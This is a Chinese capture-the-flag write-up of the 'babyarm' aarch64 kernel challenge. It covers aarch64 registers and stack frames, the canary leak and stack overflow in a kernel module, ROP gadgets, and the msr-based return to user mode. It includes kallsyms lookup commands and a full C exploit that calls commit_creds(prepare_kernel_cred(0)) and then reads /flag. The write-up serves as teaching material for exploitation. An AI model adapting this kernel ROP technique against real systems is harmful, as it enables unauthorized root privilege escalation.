2022 CTF babyarm 内核题目详细分析
2022-5-4 17:59:0 Author: mp.weixin.qq.com(查看原文) 阅读量:27 收藏


本文为看雪论坛优秀文章
看雪论坛作者ID:gxh1911

概述

一道不常见的 aarch64 kernel pwn,这题很简单就简单栈溢出,msr 返回用户态 orw 即可。
 
但就是返回用户态的机制不太好了解,然后流程控制也跟常规的 x86 那种有很大区别。

代码审计

device_read 函数:

device_write 函数:

存在栈溢出漏洞

一下代码就可以知道,红色框框中的东西一定会进,read 用来 leak,write 用来 rop。
 
其实不怎么审代码,下好断点调试也可以知道进入哪里,vmlinux 从镜像中拉出来地址全是乱的。
 
gadgets 可以通过调试去找,直接在 gdb 里面找,还好这题 rop 不复杂,不然痛苦死了。但这个方法也不好,后面发现这个 aarch64 的 Image 文件可以直接 ida,但是只有偏移地址,但没关系。这题没开 kaslr,直接查内核基址再加上偏移就可以了。
# 查程序基址 各个节grep demo /proc/modulesgrep "0x" /sys/module/demo/sections/.* # 查 vmlinux 符号grep prepare_kernel_cred  /proc/kallsymsgrep commit_creds  /proc/kallsymsgrep _text /proc/kallsyms # vmlinux 内核基址
然后说说 aarch64 的一些简单的汇编指令和知识。
寻址格式,# 代表立即数
[sp, #0x10]      // 从 sp+0x10 的地方取值[sp, #0x10]!     // 从 sp+0x10 的地方取值,取完值后 sp+0x10[sp], #0x10      // 从 sp 的地方取值,取完值后 sp+0x10
寄存器
 
在 aarch64 汇编中寄存器是 64 位的,使用 X[n] 表示,低32 位以 W[n] 表示。
 
在 64 位架构中有 31 个 64 位的通用寄存器,使用如下指令在 pwndbg 中查看:
pwndbg> i regx0             0x0                 0x1             0x0                 0x2             0x8                 8x3             0x20                32x4             0xffffffffffffffe0  -32x5             0x40                64x6             0x3f                63x7             0x0                 0x8             0xffff000002eaebe8  -281474927760408x9             0x0                 0x10            0x0                 0x11            0x0                 0x12            0x438614            4425236x13            0x60001000          1610616832x14            0x1200011           18874385x15            0xdc                220x16            0x0                 0x17            0x0                 0x18            0xcfab              53163x19            0xffff000002ead100  -281474927767296x20            0xffff80000a2b3da0  -140737317749344x21            0x1200000           18874368x22            0x0                 0x23            0xffff80000a2b8000  -140737317732352x24            0xffff80000a2bbeb0  -140737317716304x25            0x0                 0x26            0xffff000002eae480  -281474927762304x27            0xffff80000a0417e0  -140737320314912x28            0xffff000002eade80  -281474927763840x29            0xffff80000a2b3bc0  -140737317749824x30            0xffff800008016950  -140737354045104sp             0xffff80000a2b3bc0  0xffff80000a2b3bc0pc             0xffff800008016958  0xffff800008016958cpsr           0x5                 5fpsr           0x0                 0fpcr           0x0                 0MVFR6_EL1_RESERVED 0x0             0MVFR7_EL1_RESERVED 0x0             0MAIR_EL3       0x0                 0ID_AA64PFR1_EL1 0x1                1ID_AA64PFR2_EL1_RESERVED 0x0       0ID_AA64PFR3_EL1_RESERVED 0x0       0SCTLR          0x200002034f4d91d   144115326403270941ID_AA64ZFR0_EL1 0x0                0CNTKCTL        0xc6                198DACR32_EL2     0x0                 0ID_AA64PFR5_EL1_RESERVED 0x0       0ACTLR_EL1      0x0                 0CPACR          0x300000            3145728ID_AA64PFR6_EL1_RESERVED 0x0       0FPEXC32_EL2    0x0                 0ID_AA64PFR7_EL1_RESERVED 0x0       0ID_AA64DFR0_EL1 0x10305106         271601926ID_AA64DFR1_EL1 0x0                0ID_AA64DFR2_EL1_RESERVED 0x0       0ID_AA64DFR3_EL1_RESERVED 0x0       0ID_AA64AFR0_EL1 0x0                0ID_AA64AFR1_EL1 0x0                0ID_AA64AFR2_EL1_RESERVED 0x0       0CNTFRQ_EL0     0x3b9aca0           62500000ID_AA64AFR3_EL1_RESERVED 0x0       0SPSR_EL1       0x60001000          1610616832ID_AA64ISAR0_EL1 0x1021111110212120 1162228943821021472DBGBVR         0x0                 0ELR_EL1        0x438614            4425236ID_AA64ISAR1_EL1 0x11101011010     1172542918672PMEVTYPER0_EL0 0x0                 0DBGBCR         0x0                 0ID_AA64ISAR2_EL1_RESERVED 0x0      0PMEVTYPER1_EL0 0x0                 0DBGWVR         0x0                 0ID_AA64ISAR3_EL1_RESERVED 0x0      0ZCR_EL1        0x0                 0DBGWCR         0x0                 0RVBAR_EL1      0x0                 0ID_AA64ISAR4_EL1_RESERVED 0x0      0PMEVTYPER2_EL0 0x0                 0PMEVTYPER3_EL0 0x0                 0MDCCSR_EL0     0x1000              4096ID_AA64ISAR5_EL1_RESERVED 0x0      0ID_AA64ISAR6_EL1_RESERVED 0x0      0ID_AA64ISAR7_EL1_RESERVED 0x0      0SP_EL0         0xffff000002ead100  -281474927767296ID_AA64MMFR0_EL1 0x1124            4388DBGBVR         0x0                 0ID_AA64MMFR1_EL1 0x11000           69632DBGBCR         0x0                 0ID_AA64MMFR2_EL1_RESERVED 0x0      0PMINTENSET_EL1 0x0                 0DBGWVR         0x0                 0ID_AA64MMFR3_EL1_RESERVED 0x0      0PMINTENCLR_EL1 0x0                 0DBGWCR         0x0                 0ID_AA64MMFR4_EL1_RESERVED 0x0      0PMCNTENSET_EL0 0x0                 0ACTLR_EL2      0x0                 0PMCR_EL0       0x2000              8192ID_AA64MMFR5_EL1_RESERVED 0x0      0PMCNTENCLR_EL0 0x0                 0VBAR           0xffff800008010800  -140737354070016ID_AA64MMFR6_EL1_RESERVED 0x0      0PMOVSCLR_EL0   0x0                 0MDSCR_EL1      0x1000              4096ID_AA64MMFR7_EL1_RESERVED 0x0      0CNTP_CTL_EL0   0x0                 0PMSELR_EL0     0x0                 0CNTP_CVAL_EL0  0x0                 0DBGBVR         0x0                 0DBGBCR         0x0                 0PMCEID1_EL0    0x0                 0PMCEID0_EL0    0x20001             131073DBGWVR         0x0                 0PMCCNTR_EL0    0x0                 0DBGWCR         0x0                 0L2ACTLR        0x0                 0TTBR0_EL1      0x42eca000          1122803712TTBR1_EL1      0x280000418b0000    11259000168054784CNTV_CTL_EL0   0x1                 1TCR_EL1        0x400034b5503510    18014624889713936DBGBVR         0x0                 0DBGBCR         0x0                 0ACTLR_EL3      0x0                 0CNTV_CVAL_EL0  0x2aff26ff          721364735DBGWVR         0x0                 0ZCR_EL2        0x0                 0PMUSERENR_EL0  0x0                 0DBGWCR         0x0                 0PMOVSSET_EL0   0x0                 0APIAKEYLO_EL1  0x0                 0APIAKEYHI_EL1  0x0                 0SP_EL1         0xffff80000a2b4000  -140737317748736MDRAR_EL1      0x0                 0APIBKEYLO_EL1  0x0                 0PMCCFILTR_EL0  0x0                 0DBGBVR         0x0                 0APIBKEYHI_EL1  0x0                 0DBGBCR         0x0                 0CPUACTLR_EL1   0x0                 0CPUECTLR_EL1   0x0                 0CONTEXTIDR_EL1 0x0                 0APDAKEYLO_EL1  0x0                 0APDAKEYHI_EL1  0x0                 0CNTPS_CTL_EL1  0x0                 0CPUMERRSR_EL1  0x0                 0CNTPS_CVAL_EL1 0x0                 0L2MERRSR_EL1   0x0                 0DBGBVR         0x0                 0APDBKEYLO_EL1  0x0                 0MAIR_EL1       0x40044ffff         17184391167APDBKEYHI_EL1  0x0                 0DBGBCR         0x0                 0TPIDR_EL1      0xffff80000673f000  -140737380093952AFSR0_EL1      0x0                 0OSLSR_EL1      0x8                 8AFSR1_EL1      0x0                 0PAR_EL1        0x0                 0CBAR_EL1       0x8000000           134217728APGAKEYLO_EL1  0x0                 0APGAKEYHI_EL1  0x0                 0SPSR_IRQ       0x0                 0MDCR_EL3       0x0                 0SPSR_ABT       0x0                 0AMAIR0         0x0                 0FPCR           0x0                 0SPSR_UND       0x0                 0SPSR_FIQ       0x0                 0FPSR           0x0                 0ESR_EL1        0x56000000          1442840576CLIDR          0xa200023           169869347REVIDR_EL1     0x0                 0ID_PFR0        0x131               305ID_DFR0        0x3010066           50397286ID_AFR0        0x0                 0ID_MMFR0       0x10101105          269488389CSSELR         0x0                 0LORSA_EL1      0x0                 0ID_MMFR1       0x40000000          1073741824AIDR           0x0                 0TPIDR_EL0      0x11439700          289642240LOREA_EL1      0x0                 0ID_MMFR2       0x1260000           19267584TPIDRRO_EL0    0x0                 0LORN_EL1       0x0                 0ID_MMFR3       0x2102211           34611729IFSR32_EL2     0x0                 0LORC_EL1       0x0                 0ID_ISAR0       0x2101110           34607376ID_ISAR1       0x13112111          319889681PMEVCNTR0_EL0  0x0                 0ID_ISAR2       0x21232042          555950146PMEVCNTR1_EL0  0x0                 0ID_ISAR3       0x1112131           17899825CTR_EL0        0x8444c004          2219098116LORID_EL1      0x0                 0PMEVCNTR2_EL0  0x0                 0ID_ISAR4       0x11142             69954PMEVCNTR3_EL0  0x0                 0ID_ISAR5       0x11011121          285282593ID_MMFR4       0x0                 0ID_ISAR6       0x11111             69905L2CTLR_EL1     0x0                 0MVFR0_EL1      0x10110222          269550114L2ECTLR_EL1    0x0                 0FAR_EL1        0xffffce1148b0      281474138982576MVFR1_EL1      0x12111111          303108369MVFR2_EL1      0x43                67MVFR3_EL1_RESERVED 0x0             0MVFR4_EL1_RESERVED 0x0             0MVFR5_EL1_RESERVED 0x0             0

 
x0~x7:一般是函数的参数,大于8个的会通过堆栈传参
 
x0 还用作返回值
 
X9-X15:调用者保存的临时寄存器
 
X19-X29:被调用者保存的寄存器
  • 特殊用途寄存器:

    • X8:是间接结果寄存器,用于保存子程序返回地址

    • X16 和 X17:程序内调用临时寄存器

    • X18:平台寄存器

    • X29:帧指针寄存器(FP),类似 rsp

    • X30:链接寄存器(LR),一般存的是返回地址

    • X31:堆栈指针寄存器 SP 或零寄存器 ZXR

关于 aarch64 架构下的开辟栈帧:
x86 下一般是 push、pop 指令,而 aarch 64 下就是 LDP、STP 指令
 
例如:
STP             X29, X30, [SP,#var_40]!...LDP             X21, X22, [SP,#0x40+var_20]LDP             X29, X30, [SP+0x40+var_40],#0x40RET

  • STP 从 [SP,#var_40] 中取出值(两个八字节),放入 x29、x30

  • LDP 从 [SP,#0x40+var_20] 中取出值,同上。。。

  • LDP 从 [SP+0x40+var_40] 中取出值(两个八字节),放入 x29、x30,然后 sp + 0x40

关于返回用户态
使用 gdb 单步调试可以找到如下 gadgets,也就是利用 msr 指令进行寄存器的恢复。
// ret2_usr_mode 0xffff800008011fe4:    msr    sp_el0, x23......0xffff800008012024    msr    elr_el1, x210xffff800008012028    msr    spsr_el1, x220xffff80000801202c    ldp    x0, x1, [sp]0xffff800008012030    ldp    x2, x3, [sp, #0x10]0xffff800008012034    ldp    x4, x5, [sp, #0x20]0xffff800008012038    ldp    x6, x7, [sp, #0x30]0xffff80000801203c    ldp    x8, x9, [sp, #0x40]0xffff800008012040    ldp    x10, x11, [sp, #0x50]0xffff800008012044    ldp    x12, x13, [sp, #0x60]0xffff800008012048    ldp    x14, x15, [sp, #0x70]0xffff80000801204c    ldp    x16, x17, [sp, #0x80]

  • sp_el0:保存用户态的栈指针

  • elr_el1:保存要返回的用户态PC指针(一般写成 system即可)

  • spsr_el1:固定值 0x80001000

msr 指令会分别将 x21、x22、x23 的值还原给上面三个重要寄存器,所以伪造这三个值即可返回用户态。

利用

先改一下 init 文件:
#!/bin/sh
mount -t devtmpfs none /devmount -t proc none /procmount -t sysfs none /sys insmod /home/pwn/demo.kochown -R 1000:1000 /home/pwn echo 1 > /proc/sys/kernel/dmesg_restrictecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/perf_event_paranoidecho -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" # cd /home/pwn# setsid cttyhack setuidgid 1000 sh# setsid cttyhack setuidgid 0 sh setsid /bin/cttyhack setuidgid 1000 /bin/sh# setsid /bin/cttyhack setuidgid 0 /bin/sh umount /proc poweroff -f
注释掉 cd /home/pwn,是为了运行 exp 更方便,不然还得 cd 一下才能运行 exp。
 
这两条指令
echo 1 > /proc/sys/kernel/dmesg_restrictecho 1 > /proc/sys/kernel/kptr_restrict

这使得普通用户无法查看 dmesg 和 kallsyms 中的值(kallsyms 中显示会全部为 0)。
 
主要影响的是查看与 moudle 相关的调试信息,也就是在 /sys/moudle/core/section 查看地址会受到限制。
 
还有就是会造成无法直接通过 /proc/kallsyms 来进行 leak kernel 基址,所以直接设置了 root 权限,方便本地调试,root 可以直接查看地址。
 
改动如下:
# cd /home/pwn# setsid cttyhack setuidgid 1000 sh# setsid cttyhack setuidgid 0 sh setsid /bin/cttyhack setuidgid 1000 /bin/sh# setsid /bin/cttyhack setuidgid 0 /bin/sh

启动脚本:
#!/bin/bash
# 编译 exp~/gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-gcc exp.c -static -o rootfs/exp # rootfs 打包pushd rootfsfind . | cpio -o --format=newc > ../initramfs.cpiopopdgzip initramfs.cpio # 启动 gdbgnome-terminal -e 'gdb-multiarch -x mygdbinit' # 启动 qemu# timeout --foreground 60 cnmdqemu-system-aarch64 \ -m 256M \ -machine virt \ -cpu max \ -kernel ./Image \ -append "console=ttyAMA0 loglevel=3 oops=panic panic=1" \ -initrd ./initramfs.cpio.gz \ -monitor /dev/null \ -smp cores=1,threads=1 \ -nographic \ -s

我把下面这条注释了,不然调试一段时间会自动退出:
  timeout --foreground 60 cnmd

编译的话,先要装个工具链:
https://releases.linaro.org/components/toolchain/binaries/latest-7/aarch64-linux-gnu/
 
这个网站下载压缩包即可。
 
交叉编译 aarch64
  ~/gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-gcc exp.c -static -o rootfs/exp

或者是直接装交叉编译环境
sudo apt-get install emdebian-archive-keyringsudo apt-get install linux-libc-dev-arm64-cross libc6-arm64-crosssudo apt-get install binutils-aarch64-linux-gnu gcc-8-aarch64-linux-gnusudo apt-get install g++-8-aarch64-linux-gnu aarch64-linux-gnu-gcc-8 -static exp.c -o rootfs/exp
利用思路:
  • read 函数 leak canary

  • write 函数 写入 rop

    • 先是内核空间执行 commit_creds(prepare_kernel_cred(0) 提权

    • 然后返回用户态使用 orw 读取 flag(system 好像不行)

根据 aarch64 的特点,我们需要控制 x30(返回地址),x0(第一个参数),然后 ret 即可,ret 不会改变 sp,这跟 x86 也是不一样的。
 
我用到的三个 gadgets
.text:0000000000014F50                 MOV             W0, #0.text:0000000000014F54                 LDP             X19, X20, [SP,#var_s10].text:0000000000014F58                 LDP             X21, X22, [SP,#var_s20].text:0000000000014F5C                 LDP             X29, X30, [SP+var_s0],#0x30.text:0000000000014F60                 RET .text:0000000000016958                 LDP             X21, X22, [SP,#0x50+var_30].text:000000000001695C                 LDP             X23, X24, [SP,#0x50+var_20].text:0000000000016960                 LDR             X25, [SP,#0x50+var_10].text:0000000000016964                 LDP             X29, X30, [SP+0x50+var_50],#0x50.text:0000000000016968                 RET // ret2_usr_mode►  0xffff800008011fe4:    msr    sp_el0, x23......0xffff800008012024    msr    elr_el1, x210xffff800008012028    msr    spsr_el1, x220xffff80000801202c    ldp    x0, x1, [sp]0xffff800008012030    ldp    x2, x3, [sp, #0x10]0xffff800008012034    ldp    x4, x5, [sp, #0x20]0xffff800008012038    ldp    x6, x7, [sp, #0x30]0xffff80000801203c    ldp    x8, x9, [sp, #0x40]0xffff800008012040    ldp    x10, x11, [sp, #0x50]0xffff800008012044    ldp    x12, x13, [sp, #0x60]0xffff800008012048    ldp    x14, x15, [sp, #0x70]0xffff80000801204c    ldp    x16, x17, [sp, #0x80]

因为 x0 寄存器用作第一个参数,所以找了个有 MOV W0, #0 的 gadgets,w0 只是 X0的 低三十二位,因为高三十二位本来就是 0。
 
然后 commit_creds 和 prepare_kernel_cred 的地址都加了四,为了跳过 stp 指令对 x30 寄存器的修改,也就是下面这条。
STP             X29, X30, [SP,#-0x20+var_s0]!
这样才方便我们伪造 x30 方便后续 rop 的利用。
 
构造 rop 的时候,要注意 sp 的变化,建议是多写一些 0xaaaaaaaaaaaaaaaa 这样的数据进去,方便调试,调试完再做替换即可,还有就是可以直接写 0xaaaaaaaa...0xbbbbbb...,这样的东西,写多一些。
然后看错误回显,看看执行了哪个地址,比如错误回显提示 call:0xaaaaaaaaaaaaaaaa,那就可以将 0xaaaaaaaaaaaaaaaa 替换为我们要执行的地址,这样很快很方便。
exp
#include <stdio.h>#include <string.h>#include <fcntl.h> //open#include <stdlib.h> //size_t#include <sys/stat.h>#include <fcntl.h> #define prepare_kernel_cred_addr    0xffff8000080a24f8#define commit_creds_addr           0xffff8000080a2258#define vmlinux_base_addr           0xffff800008000000#define elf_base           0xffff800000e40000#define ret2_user_mode           0xffff800008011fe4 void get_shell() {    printf("[+] got shell, welcome %s\n", (getuid() ? "user" : "root"));    // system("/bin/sh");    char buf[0x50] = {0};    int fd = open("/flag",0);    read(fd, buf, 0x50);    write(1, buf, 0x50);} int main() {    int fd = open("/proc/demo", O_RDWR);    size_t mem[0x200];    memset(mem, '\x00', sizeof(mem));    read(fd, mem, 128+8);    size_t canary = mem[16];    printf("[+] canary = %p\n", canary);     // write    memset(mem, '\x00', sizeof(mem));    memset(mem, 'a', 0x80);    mem[16] = canary;    mem[17] = 0xaaaaaaaaaaaaaaaa;     // mem[18] = 0xbbbbbbbbbbbbbbbb;    mem[18] = vmlinux_base_addr+0x14F50;     mem[19] = 0xcccccccccccccccc;    mem[20] = 0xdddddddddddddddd;    mem[21] = 0xeeeeeeeeeeeeeeee;     // mem[22] = 0xffffffffffffffff;    mem[22] = prepare_kernel_cred_addr+4;     // mem[23] = commit_creds_addr+4;    mem[23] = 0xaaaaaaaaaaaaaaaa;    mem[24] = 0xccccccccdddddddd;    mem[25] = 0xeeeeeeeeffffffff;    mem[26] = 0xaaaaaaaabbbbbbbb;    mem[27] = 0xccccccccdddddddd;     // mem[28] = vmlinux_base_addr+0x14F5C;    mem[28] = commit_creds_addr+4;     // mem[29] = 0xaaaaaaaaaaaaaaaa;    // mem[30] = 0xbbbbbbbbbbbbbbbb;    mem[31] = 0xcccccccccccccccc;     mem[32] = vmlinux_base_addr+0x16958;     mem[33] = 0xaaaaaaaaaaaaaaaa;    mem[34] = 0xbbbbbbbbbbbbbbbb;    mem[35] = 0xcccccccccccccccc;    mem[35] = 0xdddddddddddddddd;     mem[36] = 0xccccccccdddddddd;    mem[37] = 0xeeeeeeeeffffffff;    mem[38] = ret2_user_mode;    mem[39] = 0xccccccccdddddddd;     mem[40] = 0xaaaaaaaabbbbbbbb;    mem[41] = (size_t)get_shell;    mem[42] = 0x80001000;    mem[43] = (size_t)mem;     write(fd,mem,0x200);    close(fd);}

看雪ID:gxh1911

https://bbs.pediy.com/user-home-933934.htm

*本文由看雪论坛 gxh1911 原创,转载请注明来自看雪社区

# 往期推荐

1.记一次新型变种QakBot木马分析

2.Windows API调用详解

3.多项式MBA原理及其在代码混淆中的应用

4.逆向角度看C++部分特性

5.CVE-2014-4113提权漏洞学习笔记

6.Go语言模糊测试工具:Go-Fuzz

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458441184&idx=1&sn=7f7cfa1a11ecf92cdc57ee078f2422da&chksm=b18fe56a86f86c7cf790fa7ca5e2799ba91aa03cb5e19f09e618e024b3a3a8a3b5530b63d761#rd
如有侵权请联系:admin#unsafe.sh